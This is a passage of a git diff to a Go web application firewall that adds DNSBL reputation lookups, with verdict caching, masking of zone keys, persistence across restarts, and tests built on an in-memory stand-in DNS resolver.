q := query{zone: zone, client: addr} + + kept, found := d.verdicts.Peek(q) + + switch { + case found && now.Sub(kept.Fetched) < d.params.CacheTTL: + if kept.Listed { + listedBy = append(listedBy, config.MaskZoneKey(zone)) + } + case !d.asking[q] && !now.Before(d.retryAt[zone]) && len(d.asking) < maxQueries: + d.asking[q] = true + d.queries[zone]++ + + go d.ask(context.WithoutCancel(ctx), q) + } + } + + return listedBy +} + +// Queries returns how many queries were made to zone. +func (d *DNSBL) Queries(zone string) int { + d.mu.Lock() + defer d.mu.Unlock() + + return d.queries[zone] +} + +// Failures returns how many queries to zone failed. +func (d *DNSBL) Failures(zone string) int { + d.mu.Lock() + defer d.mu.Unlock() + + return d.failures[zone] +} + +// Snapshot returns every verdict still in use, sorted by client, then by +// zone, as reputation.json lists them. +func (d *DNSBL) Snapshot() []Verdict { + d.mu.Lock() + + now := d.params.Now() + verdicts := make([]Verdict, 0, d.verdicts.Len()) + + for _, kept := range d.verdicts.Values() { + if now.Sub(kept.Fetched) < d.params.CacheTTL { + verdicts = append(verdicts, kept) + } + } + + d.mu.Unlock() + + slices.SortFunc(verdicts, func(a, b Verdict) int { + return cmp.Or(a.Client.Compare(b.Client), strings.Compare(a.Zone, b.Zone)) + }) + + return verdicts +} + +// Load keeps verdicts, read from reputation.json, in place of those it +// keeps, but for those of a zone SWWAF_DNSBL_ZONES does not name, and, +// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or +// more is neither used nor written, as for any verdict. +func (d *DNSBL) Load(verdicts []Verdict) { + verdicts = slices.Clone(verdicts) + slices.SortStableFunc(verdicts, func(a, b Verdict) int { + return a.Fetched.Compare(b.Fetched) + }) + + d.mu.Lock() + defer d.mu.Unlock() + + d.verdicts.Purge() + + for _, kept := range verdicts { + if slices.Contains(d.params.Zones, kept.Zone) { + d.verdicts.Add(query{zone: kept.Zone, client: kept.Client}, kept) + } + } +} + +// ask asks q's zone about q's client, keeps the verdict, and notes the +// query as no longer under way. A query that fails gives no verdict: it +// is counted, logged and raised as a source_failure alert, which show the +// zone with its key masked, and the zone is not asked again for +// failureDelay. +func (d *DNSBL) ask(ctx context.Context, q query) { + listed, err := d.lookUp(ctx, q) + now := d.params.Now() + + d.mu.Lock() + + delete(d.asking, q) + + if err == nil { + d.verdicts.Add(q, Verdict{ + Zone: q.zone, Client: q.client, Listed: listed, Fetched: now, + }) + } else { + d.failures[q.zone]++ + d.retryAt[q.zone] = now.Add(failureDelay) + } + + d.mu.Unlock() + + if err != nil { + const failed = "asking a DNSBL zone failed" + + shown := config.MaskZoneKey(q.zone) + + // Raised before it is logged, so that the alert is there once the + // log line is. + d.params.Alerts.Raise(alerts.Alert{ + Event: alerts.EventSourceFailure, + Reason: failed, + Detail: map[string]any{"source": shown, "error": err.Error()}, + }) + d.params.ProcessLog.Warn(failed, "zone", shown, "error", err.Error()) + } +} + +// lookUp asks q's zone about q's client through the resolver, and returns +// whether the zone lists it, as readAnswer reads the answer. No such name +// is a client the zone does not list. A query not answered within Timeout +// fails. +func (d *DNSBL) lookUp(ctx context.Context, q query) (bool, error) { + ctx, cancel := context.WithTimeout(ctx, d.params.Timeout) + defer cancel() + + answer, err := d.resolver.LookupNetIP(ctx, "ip4", queryName(q.zone, q.client)) + + var dnsErr *net.DNSError + + switch { + case err == nil: + return readAnswer(answer) + case errors.As(err, &dnsErr) && dnsErr.IsNotFound: + return false, nil + case errors.As(err, &dnsErr): + // The error names the name asked about, which holds the client's + // address, which is not to be logged: only what went wrong is kept. + return false, fmt.Errorf("%w: %s", errAsk, dnsErr.Err) + default: + return false, fmt.Errorf("%w: %w", errAsk, err) + } +} + +// queryName returns the name a zone is asked about addr by, as RFC 5782 +// builds it: the four numbers of an IPv4 address, or the 32 hex digits of +// an IPv6 address, in reverse order, each followed by a dot, then the zone +// and a dot, which makes it a full name, to which the resolver adds no +// search domain of /etc/resolv.conf. +func queryName(zone string, addr netip.Addr) string { + parts := strings.Split(addr.String(), ".") + if addr.Is6() { + parts = strings.Split(hex.EncodeToString(addr.AsSlice()), "") + } + + slices.Reverse(parts) + + return strings.Join(parts, ".") + "." + zone + "." +} + +// readAnswer reads the addresses a zone answered with. An address in +// 127.0.0.0/8 lists the client, as RFC 5782 has zones answer, but one in +// 127.255.255.0/24 is how Spamhaus refuses a query, such as one sent +// through a public resolver or one past its limit, and is a failure. So is +// an address outside 127.0.0.0/8, such as a resolver gives that answers +// even for names that do not exist. +func readAnswer(answer []netip.Addr) (bool, error) { + listing := netip.MustParsePrefix("127.0.0.0/8") + refusal := netip.MustParsePrefix("127.255.255.0/24") + + for _, addr := range answer { + switch { + case refusal.Contains(addr): + return false, fmt.Errorf("%w: %s", errRefused, addr) + case !listing.Contains(addr): + return false, fmt.Errorf("%w: %s", errNotListing, addr) + } + } + + return len(answer) > 0, nil +} diff --git a/internal/reputation/dnsbl_test.go b/internal/reputation/dnsbl_test.go new file mode 100644 index 0000000..700b78e --- /dev/null +++ b/internal/reputation/dnsbl_test.go @@ -0,0 +1,737 @@ +package reputation_test + +import ( + "bytes" + "context" + "encoding/binary" + "errors" + "io" + "log/slog" + "net" + "net/http" + "net/http/httptest" + "net/netip" + "reflect" + "slices" + "strings" + "sync" + "testing" + "testing/synctest" + "time" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/metrics" + "sneak.berlin/go/smallwebwaf/internal/reputation" +) + +// The tests of the DNSBL zones run in synctest bubbles, as those of the +// lists do, and the resolver the zones are asked through is a stand-in +// reached through an in-memory connection, net.Pipe's, for the same +// reason. They run one at a time, none in parallel with another test of +// this package: Go's resolver counts the queries under way in one +// sync.WaitGroup for the whole process, and the process fails when +// queries from two bubbles, or from a bubble and from outside one, are +// under way at once. TestMain has the resolver make its configuration, +// which it makes on its first query, outside every bubble, since the +// configuration holds a channel, which the bubble it was made in would +// keep to itself. + +const ( + // zone and otherZone are the DNSBL zones the tests name. + zone = "dnsbl.example" + otherZone = "other.example" + // cacheTTL is the tests' SWWAF_REPUTATION_CACHE_TTL, and timeout their + // SWWAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf + // can have Go's resolver wait for one server, so that it is the + // DNSBL's own timeout that ends a query, whatever that file says. + cacheTTL = 24 * time.Hour + timeout = time.Second + // listed and unlisted are clients zone is asked about by the names + // listedName and unlistedName, and most tests have zone list the first + // alone, by answering with listing. + listed = "192.0.2.99" + unlisted = "192.0.2.100" + listedName = "99.2.0.192." + zone + "." + unlistedName = "100.2.0.192." + zone + "." + listing = "127.0.0.2" +) + +// The DNS response codes the stand-in answers with, besides no error. +const ( + serverFailure = 2 + noSuchName = 3 + refused = 5 +) + +var errNoNetwork = errors.New("the test dials nothing") + +func TestMain(m *testing.M) { + // A query that fails at once, as nothing is dialled for it. + resolver := &net.Resolver{ + PreferGo: true, + Dial: func(context.Context, string, string) (net.Conn, error) { + return nil, errNoNetwork + }, + } + _, _ = resolver.LookupNetIP(context.Background(), "ip4", "warm-up.invalid.") + + m.Run() +} + +//nolint:paralleltest // one at a time, as the comment at the top of this file says +func TestZonesListOrNotClientsByTheirIPv4AndIPv6Addresses(t *testing.T) { + synctest.Test(t, func(t *testing.T) { + // The addresses of the examples of RFC 5782, and the names it + // gives for them. + const ( + v4 = "192.0.2.99" + v6 = "2001:db8:1:2:3:4:567:89ab" + // v6Name is the hex digits of v6, in reverse order. + v6Name = "b.a.9.8.7.6.5.0.4.0.0.0.3.0.0.0.2.0.0.0.1.0.0.0.8.b.d.0.1.0.0.2." + ) + + resolver := &resolverStandIn{answers: map[string]answer{ + "99.2.0.192." + zone + ".": {addrs: []string{listing}}, + v6Name + otherZone + ".": {addrs: []string{"127.0.0.4", "127.0.0.10"}}, + "99.2.0.192." + otherZone + ".": {}, + }} + dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone)) + + // Neither client has a verdict yet, so neither is listed, and each + // zone is asked about each. + wantZones(t, dnsbl, v4) + wantZones(t, dnsbl, v6) + synctest.Wait() + + wantZones(t, dnsbl, v4, zone) + wantZones(t, dnsbl, v6, otherZone) + wantAsked(t, resolver, + "99.2.0.192."+zone+".", "99.2.0.192."+otherZone+".", + v6Name+zone+".", v6Name+otherZone+".") + }) +} + +//nolint:paralleltest // one at a time, as the comment at the top of this file says +func TestListedByNeverWaitsForAQuery(t *testing.T) { + synctest.Test(t, func(t *testing.T) { + dnsbl := newDNSBL(&resolverStandIn{hanging: true}, dnsblParams(zone)) + began := time.Now() + + // The second, while the first's query is under way, starts none. + wantZones(t, dnsbl, listed) + wantZones(t, dnsbl, listed) + + if waited := time.Since(began); waited != 0 { + t.Errorf("waited %s for the query, want no wait", waited) + } + + synctest.Wait() + wantQueries(t, dnsbl, 1, 0) + waitForTheResolver() + }) +} + +//nolint:paralleltest // one at a time, as the comment at the top of this file says +func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) { + synctest.Test(t, func(t *testing.T) { + resolver := &resolverStandIn{answers: map[string]answer{ + listedName: {addrs: []string{listing}}, + }} + dnsbl := newDNSBL(resolver, dnsblParams(zone)) + + wantZones(t, dnsbl, listed) + wantZones(t, dnsbl, unlisted) + synctest.Wait() + + // The zone lists the other client from now on, but the verdicts + // kept are used, and the zone is not asked again, until the TTL + // has passed. + resolver.set(listedName, answer{rcode: noSuchName}) + resolver.set(unlistedName, answer{addrs: []string{listing}}) + time.Sleep(cacheTTL - time.Nanosecond) + + wantZones(t, dnsbl, listed, zone) + wantZones(t, dnsbl, unlisted) + synctest.Wait() + wantQueries(t, dnsbl, 2, 0) + + // Then neither verdict is used, and both clients are asked about + // again. + time.Sleep(time.Nanosecond) + wantZones(t, dnsbl, listed) + wantZones(t, dnsbl, unlisted) + synctest.Wait() + + wantQueries(t, dnsbl, 4, 0) + wantZones(t, dnsbl, listed) + wantZones(t, dnsbl, unlisted, zone) + }) +} + +//nolint:paralleltest // one at a time, as the comment at the top of this file says +func TestQueryNotAnsweredWithinTheTimeoutFails(t *testing.T) { + synctest.Test(t, func(t *testing.T) { + queue := newQueue() + p := dnsblParams(zone) + p.Alerts = queue + dnsbl := newDNSBL(&resolverStandIn{hanging: true}, p) + + wantZones(t, dnsbl, listed) + time.Sleep(timeout - time.Nanosecond) + synctest.Wait() + wantQueries(t, dnsbl, 1, 0) + + time.Sleep(time.Nanosecond) + synctest.Wait() + wantQueries(t, dnsbl, 1, 1) + + if got := waiting(queue); len(got) != 1 || + got[0].Detail["error"] != "ask the zone: i/o timeout" { + t.Errorf("alerts waiting %+v, want the timeout's", got) + } + + if verdicts := dnsbl.Snapshot(); len(verdicts) != 0 { + t.Errorf("verdicts %+v, want none", verdicts) + } + + waitForTheResolver() + }) +} + +//nolint:paralleltest // one at a time, as the comment at the top of this file says +func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing.T) { + for _, tc := range []struct { + name string + answer answer + error string + }{ + { + "a server failure", answer{rcode: serverFailure}, + "ask the zone: server misbehaving", + }, + {"a refusal", answer{rcode: refused}, "ask the zone: server misbehaving"}, + { + "an answer in 127.255.255.0/24, with which Spamhaus refuses a query", + answer{addrs: []string{"127.255.255.254"}}, + "the zone refused the query: 127.255.255.254", + }, + { + "an answer outside 127.0.0.0/8, as for a name that does not exist", + answer{addrs: []string{"192.0.2.1"}}, + "the answer is outside 127.0.0.0/8: 192.0.2.1", + }, + } { + //nolint:paralleltest // one at a time, as the comment at the top of this file says + t.Run(tc.name, func(t *testing.T) { + synctest.Test(t, func(t *testing.T) { + var log bytes.Buffer + + queue := newQueue() + p := dnsblParams(zone) + p.Alerts = queue + p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) + dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{ + listedName: tc.answer, + }}, p) + + // The failure gives no verdict, and the zone is not asked + // again within a minute of it. + wantZones(t, dnsbl, listed) + synctest.Wait() + time.Sleep(time.Minute - time.Nanosecond) + wantZones(t, dnsbl, listed) + synctest.Wait() + wantQueries(t, dnsbl, 1, 1) + + time.Sleep(time.Nanosecond) + wantZones(t, dnsbl, listed) + synctest.Wait() + wantQueries(t, dnsbl, 2, 2) + + if verdicts := dnsbl.Snapshot(); len(verdicts) != 0 { + t.Errorf("verdicts %+v, want none", verdicts) + } + + // One alert for the first failure; the cooldown holds back + // the second. + wantAlert(t, queue, alerts.Alert{ + Time: time.Now().Add(-time.Minute), + Event: alerts.EventSourceFailure, + Reason: "asking a DNSBL zone failed", + Detail: map[string]any{"source": zone, "error": tc.error}, + }) + + if !strings.Contains(log.String(), `"msg":"asking a DNSBL zone failed",`+ + `"zone":"`+zone+`","error":"`+tc.error) { + t.Errorf("logged\n%s\nwant the failures", log.String()) + } + }) + }) + } +} + +//nolint:paralleltest // one at a time, as the comment at the top of this file says +func TestAtMost1000QueriesUnderWay(t *testing.T) { + synctest.Test(t, func(t *testing.T) { + dnsbl := newDNSBL(&resolverStandIn{hanging: true}, dnsblParams(zone)) + + client := netip.MustParseAddr("198.18.0.0") + for range 1001 { + dnsbl.ListedBy(t.Context(), client) + client = client.Next() + } + + synctest.Wait() + wantQueries(t, dnsbl, 1000, 0) + waitForTheResolver() + }) +} + +//nolint:paralleltest // one at a time, as the comment at the top of this file says +func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) { + synctest.Test(t, func(t *testing.T) { + resolver := &resolverStandIn{answers: map[string]answer{ + listedName: {addrs: []string{listing}}, + "99.2.0.192." + otherZone + ".": {rcode: serverFailure}, + }} + dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone)) + m := metrics.New(1, "app") + m.AddReputation(reputation.New(params()), dnsbl) + + wantZones(t, dnsbl, listed) + synctest.Wait() + + scraped := httptest.NewRecorder() + m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, + "/", http.NoBody)) + + for series, want := range map[string]string{ + "queries_total" + `{instance="app",source="` + zone + `"}`: "1", + "failures_total" + `{instance="app",source="` + zone + `"}`: "0", + "queries_total" + `{instance="app",source="` + otherZone + `"}`: "1", + "failures_total" + `{instance="app",source="` + otherZone + `"}`: "1", + } { + line := "\nsmallwebwaf_reputation_" + series + " " + want + "\n" + if !strings.Contains(scraped.Body.String(), line) { + t.Errorf("metrics\n%s\nwant%s", scraped.Body.String(), line) + } + } + }) +} + +//nolint:paralleltest // one at a time, as the comment at the top of this file says +func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) { + const ( + key = "abcdefghijklmnopqrstuvwxyz" + keyed = key + ".xbl.dq.spamhaus.net" + masked = "********.xbl.dq.spamhaus.net" + ) + + synctest.Test(t, func(t *testing.T) { + var log bytes.Buffer + + queue := newQueue() + p := dnsblParams(keyed) + p.Alerts = queue + p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) + dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{ + "99.2.0.192." + keyed + ".": {addrs: []string{listing}}, + "100.2.0.192." + keyed + ".": {rcode: serverFailure}, + }}, p) + m := metrics.New(1, "app") + m.AddReputation(reputation.New(params()), dnsbl) + + // Both clients are asked about before either answer comes, so that + // the failure does not keep the zone from the other query. + wantZones(t, dnsbl, listed) + wantZones(t, dnsbl, unlisted) + synctest.Wait() + wantZones(t, dnsbl, listed, masked) + + if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked { + t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked) + } + + scraped := httptest.NewRecorder() + m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, + "/", http.NoBody)) + + for name, shown := range map[string]string{ + "the log": log.String(), "the metrics": scraped.Body.String(), + } { + if strings.Contains(shown, key) || !strings.Contains(shown, masked) { + t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown) + } + } + }) +} + +//nolint:paralleltest // one at a time, as the comment at the top of this file says +func TestVerdictsKeptAcrossARestart(t *testing.T) { + synctest.Test(t, func(t *testing.T) { + resolver := &resolverStandIn{answers: map[string]answer{ + listedName: {addrs: []string{listing}}, + }} + dnsbl := newDNSBL(resolver, dnsblParams(zone)) + fetched := time.Now() + + wantZones(t, dnsbl, unlisted) + wantZones(t, dnsbl, listed) + synctest.Wait() + + kept := dnsbl.Snapshot() + + want := []reputation.Verdict{ + {Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: fetched}, + {Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: fetched}, + } + if !reflect.DeepEqual(kept, want) { + t.Errorf("verdicts %+v, want %+v", kept, want) + } + + // Restarted an hour later with what reputation.json keeps, it uses + // the verdicts, and asks the zone nothing, until the TTL has passed + // since they were fetched. + time.Sleep(time.Hour) + + restarted := &resolverStandIn{} + again := newDNSBL(restarted, dnsblParams(zone)) + again.Load(kept) + + wantZones(t, again, listed, zone) + wantZones(t, again, unlisted) + synctest.Wait() + wantAsked(t, restarted) + + time.Sleep(cacheTTL - time.Hour) + wantZones(t, again, listed) + synctest.Wait() + wantAsked(t, restarted, listedName) + }) +} + +func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) { + t.Parallel() + + now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC) + p := dnsblParams(zone) + p.Now = func() time.Time { return now } + dnsbl := reputation.NewDNSBL(p) + + // The last verdict still in use, one fetched a TTL ago, and one of a + // zone SWWAF_DNSBL_ZONES does not name. + inUse := reputation.Verdict{ + Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, + Fetched: now.Add(-cacheTTL + time.Nanosecond), + } + stale := reputation.Verdict{ + Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: now.Add(-cacheTTL), + } + notNamed := reputation.Verdict{ + Zone: otherZone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: now, + } + + dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse}) + + if got := dnsbl.Snapshot(); !reflect.DeepEqual(got, []reputation.Verdict{inUse}) { + t.Errorf("verdicts %+v, want only %+v", got, inUse) + } +} + +func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) { + t.Parallel() + + now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC) + p := dnsblParams(zone) + p.Now = func() time.Time { return now } + dnsbl := reputation.NewDNSBL(p) + + // 100,001 verdicts, listed by client, as reputation.json lists them, + // each fetched a millisecond before the one before it: the last is one + // too many. + const count = 100001 + + verdicts := make([]reputation.Verdict, 0, count) + + client := netip.MustParseAddr("198.18.0.0") + for i := range count { + verdicts = append(verdicts, reputation.Verdict{ + Zone: zone, Client: client, Fetched: now.Add(-time.Duration(i) * time.Millisecond), + }) + client = client.Next() + } + + dnsbl.Load(verdicts) + + got := dnsbl.Snapshot() + if len(got) != count-1 || !slices.Contains(got, verdicts[0]) || + slices.Contains(got, verdicts[count-1]) { + t.Errorf("%d verdicts kept, want all but the one fetched longest ago", len(got)) + } +} + +//nolint:paralleltest // one at a time, as the comment at the top of this file says +func TestQueriesGoToTheResolverSWWAFDNSBLResolverNames(t *testing.T) { + resolver := &resolverStandIn{answers: map[string]answer{ + listedName: {addrs: []string{listing}}, + }} + + conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", "127.0.0.1:0") + if err != nil { + t.Fatalf("listen: %v", err) + } + + served := make(chan struct{}) + + go func() { + resolver.serveUDP(conn) + close(served) + }() + + t.Cleanup(func() { + _ = conn.Close() + + <-served + }) + + p := dnsblParams(zone) + p.Resolver = netip.MustParseAddrPort(conn.LocalAddr().String()) + // On the real clock: the stand-in answers at once, so only a test + // process held up for a whole minute would see the query fail. + p.Timeout = time.Minute + + isListed, err := reputation.NewDNSBL(p).LookUp(zone, netip.MustParseAddr(listed)) + if err != nil || !isListed { + t.Errorf("listed %t (%v), want true", isListed, err) + } + + wantAsked(t, resolver, listedName) +} + +// resolverStandIn is a stand-in for the resolver the zones are asked +// through. It answers each query by the name asked about, as answers +// gives, with no such name for a name answers does not give, and not at +// all while hanging. It notes each name asked about. +type resolverStandIn struct { + mu sync.Mutex + answers map[string]answer + hanging bool + names []string +} + +// answer is how the stand-in answers a name: with an A record of each of +// addrs, or with the response code rcode, unless it is 0, for no error. +type answer struct { + addrs []string + rcode uint16 +} + +// What the stand-in reads of a query, and writes in its reply. +const ( + // headerLength is the length of a DNS message's header, which the + // question follows: its id, its flags, and how many questions, + // answers and other records it holds, two bytes each. + headerLength = 12 + // typeAndClass is the length of the type and the class that end a + // question, after its name. + typeAndClass = 4 + // replyFlags mark a reply to a query that asked for recursion, which + // is available, with no error. The response code goes in their last + // four bits. + replyFlags = 0x8180 + // maxMessage is the longest query read over UDP. + maxMessage = 1232 +) + +// set has the stand-in answer name with given. +func (s *resolverStandIn) set(name string, given answer) { + s.mu.Lock() + defer s.mu.Unlock() + + s.answers[name] = given +} + +// dial connects Go's resolver to the stand-in through an in-memory +// connection, on which it sends each query, and reads each reply, after +// its length, as over TCP. +func (s *resolverStandIn) dial(context.Context, string, string) (net.Conn, error) { + client, server := net.Pipe() + + go s.serve(server) + + return client, nil +} + +// serve answers the queries that come on conn until the resolver closes +// it. +func (s *resolverStandIn) serve(conn net.Conn) { + defer func() { + _ = conn.Close() + }() + + for { + var length [2]byte + + _, err := io.ReadFull(conn, length[:]) + if err != nil { + return + } + + message := make([]byte, binary.BigEndian.Uint16(length[:])) + + _, err = io.ReadFull(conn, message) + if err != nil { + return + } + + reply, answered := s.reply(message) + if !answered { + continue // the resolver gives up, and closes conn + } + + //nolint:gosec // a reply of a few dozen bytes + _, err = conn.Write(append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))), + reply...)) + if err != nil { + return + } + } +} + +// serveUDP answers the queries that come on conn, each in a datagram, as +// a resolver does, until conn is closed. +func (s *resolverStandIn) serveUDP(conn net.PacketConn) { + message := make([]byte, maxMessage) + + for { + n, from, err := conn.ReadFrom(message) + if err != nil { + return + } + + reply, answered := s.reply(message[:n]) + if answered { + _, _ = conn.WriteTo(reply, from) + } + } +} + +// reply returns the stand-in's reply to message, a query, and false for +// none, while it hangs. It notes the name asked about. +func (s *resolverStandIn) reply(message []byte) ([]byte, bool) { + // The name is labels, each after its length, ended by a length of 0. + var labels []string + + end := headerLength + for message[end] != 0 { + length := int(message[end]) + labels = append(labels, string(message[end+1:end+1+length])) + end += 1 + length + } + + end += 1 + typeAndClass + name := strings.Join(labels, ".") + "." + + s.mu.Lock() + s.names = append(s.names, name) + given, found := s.answers[name] + hanging := s.hanging + s.mu.Unlock() + + if hanging { + return nil, false + } + + if !found { + given = answer{rcode: noSuchName} + } + + // The query's id, the flags, one question, the answers, and no other + // records, then the question, as asked. + reply := slices.Clone(message[:2]) + reply = binary.BigEndian.AppendUint16(reply, replyFlags|given.rcode) + reply = binary.BigEndian.AppendUint16(reply, 1) + //nolint:gosec // a handful of answers + reply = binary.BigEndian.AppendUint16(reply, uint16(len(given.addrs))) + reply = append(reply, 0, 0, 0, 0) + reply = append(reply, message[headerLength:end]...) + + // An A record starts with the name asked about, by a pointer to it in + // the question, then its type, A, its class, IN, how long it may be + // kept, 60 seconds, and the length of its address, 4 bytes. + record := []byte{0xc0, headerLength, 0, 1, 0, 1, 0, 0, 0, 60, 0, 4} + + for _, addr := range given.addrs { + reply = append(reply, record...) + reply = append(reply, netip.MustParseAddr(addr).AsSlice()...) + } + + return reply, true +} + +// dnsblParams returns the DNSBLParams of zones, with the tests' cache TTL +// and timeout, by the bubble's clock, with alerts to a queue that sends +// none. +func dnsblParams(zones ...string) reputation.DNSBLParams { + return reputation.DNSBLParams{ + Zones: zones, + CacheTTL: cacheTTL, + Timeout: timeout, + Now: time.Now, + ProcessLog: slog.New(slog.DiscardHandler), + Alerts: newQueue(), + } +} + +// waitForTheResolver waits, on the bubble's clock, an hour, until Go's +// resolver has given up on every stand-in that does not answer: it waits +// for a server as long as /etc/resolv.conf has it wait, a few seconds, +// even after the query was given up, and a bubble cannot end before it. +func waitForTheResolver() { + time.Sleep(time.Hour) +} + +// newDNSBL returns the DNSBL of p, asking resolver. +func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.DNSBL { + dnsbl := reputation.NewDNSBL(p) + dnsbl.SetDial(resolver.dial) + + return dnsbl +} + +// wantZones checks the zones whose verdict dnsbl says lists client, as a +// request from client finds them. +func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...string) { + t.Helper() + + got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client)) + if !slices.Equal(got, want) { + t.Errorf("%s is listed by %v, want %v", client, got, want) + } +} + +// wantQueries checks how many queries dnsbl made to zone, and how many of +// them failed. +func wantQueries(t *testing.T, dnsbl *reputation.DNSBL, queries, failures int) { + t.Helper() + + if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures { + t.Errorf("%d queries and %d failures, want %d and %d", dnsbl.Queries(zone), + dnsbl.Failures(zone), queries, failures) + } +} + +// wantAsked checks the names the stand-in was asked about, in any order. +func wantAsked(t *testing.T, resolver *resolverStandIn, want ...string) { + t.Helper() + + resolver.mu.Lock() + got := slices.Sorted(slices.Values(resolver.names)) + resolver.mu.Unlock() + + slices.Sort(want) + + if !slices.Equal(got, want) { + t.Errorf("asked about %v, want %v", got, want) + } +} diff --git a/internal/reputation/export_test.go b/internal/reputation/export_test.go index 4c4035d..6a77397 100644 --- a/internal/reputation/export_test.go +++ b/internal/reputation/export_test.go @@ -1,9 +1,27 @@ package reputation -import "net/http" +import ( + "context" + "net" + "net/http" + "net/netip" +) // SetTransport has l's fetches go through transport instead of the // network. func (l *Lists) SetTransport(transport http.RoundTripper) { l.httpClient.Transport = transport } + +// SetDial has d's queries go through dial instead of the network. +func (d *DNSBL) SetDial( + dial func(ctx context.Context, network, address string) (net.Conn, error), +) { + d.resolver = &net.Resolver{PreferGo: true, Dial: dial} +} + +// LookUp asks zone about addr at once, as a query in the background does, +// and returns whether zone lists addr. +func (d *DNSBL) LookUp(zone string, addr netip.Addr) (bool, error) { + return d.lookUp(context.Background(), query{zone: zone, client: addr}) +} diff --git a/internal/reputation/reputation.go b/internal/reputation/reputation.go index 45872cd..cecb4b3 100644 --- a/internal/reputation/reputation.go +++ b/internal/reputation/reputation.go @@ -2,8 +2,10 @@ // blocklists of SWWAF_BLOCKLIST_URLS, and the file of AS:percent lines // SWWAF_ASN_LIMIT_PERCENT_URL names. It keeps the last good copy of each, // whole, comment lines included, which is used while a fetch fails, and -// when each was last tried, which the state package writes to -// reputation.json and reads from it, so that a restart keeps them too. +// when each was last tried. It also asks the DNSBL zones of +// SWWAF_DNSBL_ZONES about clients, and keeps their verdicts. The state +// package writes all of these to reputation.json and reads them from it, +// so that a restart keeps them too. package reputation import ( diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index 69c29d2..5fa85b5 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -35,8 +35,8 @@ const ( // rule. ActionRuleBlocked = "rule_blocked" // ActionDenied is a request refused because its client is in - // SWWAF_DENY_NETS, or in a blocklist while SWWAF_BLOCKLIST_ACTION is - // deny. + // SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny, + // or listed by a DNSBL zone while SWWAF_REPUTATION_ACTION is deny. ActionDenied = "denied" // ActionCountryDenied is a request refused for its client's country. ActionCountryDenied = "country_denied" @@ -138,7 +138,8 @@ type Line struct { // Counts names its count: minute, hour or day for a rate limit, and // minute_bytes, hour_bytes or day_bytes for a byte limit. LimitHit string `json:"limit_hit,omitempty"` - // Reputation are the URLs of the blocklists that list the client. + // Reputation are the URLs of the blocklists that list the client, then + // the DNSBL zones whose verdict lists it, their keys masked. Reputation []string `json:"reputation,omitempty"` // Offence is the offence the request was held as, OffenceLimit. Offence string `json:"offence,omitempty"` diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index ee9901d..f55c680 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -201,6 +201,7 @@ func loadStateFiles( Limiter: server.Limiter, GeoJS: server.GeoJS, Lists: server.Lists, + DNSBL: server.DNSBL, Alerts: alertQueue, Anomalies: server.Anomalies, Now: now, diff --git a/internal/state/state.go b/internal/state/state.go index 9ba75d4..f164cb1 100644 --- a/internal/state/state.go +++ b/internal/state/state.go @@ -2,7 +2,8 @@ // SWWAF_STATE_DIR, as the "Persistent state" section of SPEC.md describes: // bans.json holds the bans, clients.json each client's counters and // history, lookups.json GeoJS's answers, reputation.json the last try and -// last good copy of each list fetched from a URL, and alerts.json the +// last good copy of each list fetched from a URL and the DNSBL zones' +// verdicts, and alerts.json the // cooldowns, the hour under way, the alerts waiting for each destination // and the anomaly counters. Load // reads them at start, Watch takes in an admin's edit of one while @@ -76,13 +77,14 @@ type Params struct { // is (SWWAF_STATE_COUNTER_INTERVAL). WriteDelay time.Duration CounterInterval time.Duration - // Ledger, Limiter, GeoJS, Lists, Alerts and Anomalies hold the state. - // Alerts also receive a file_error alert for an edit set aside, and for - // a write that fails while smallwebwaf runs. + // Ledger, Limiter, GeoJS, Lists, DNSBL, Alerts and Anomalies hold the + // state. Alerts also receive a file_error alert for an edit set aside, + // and for a write that fails while smallwebwaf runs. Ledger *bans.Ledger Limiter *ratelimit.Limiter GeoJS *lookup.GeoJS Lists *reputation.Lists + DNSBL *reputation.DNSBL Alerts *alerts.Queue Anomalies *anomaly.Counters // Now tells the time by which the counters' buckets run out, normally @@ -145,8 +147,9 @@ type lookupsFile struct { // reputationFile is reputation.json, indented for an admin to read and // edit, so that each line of a list's copy is on a line of its own. type reputationFile struct { - 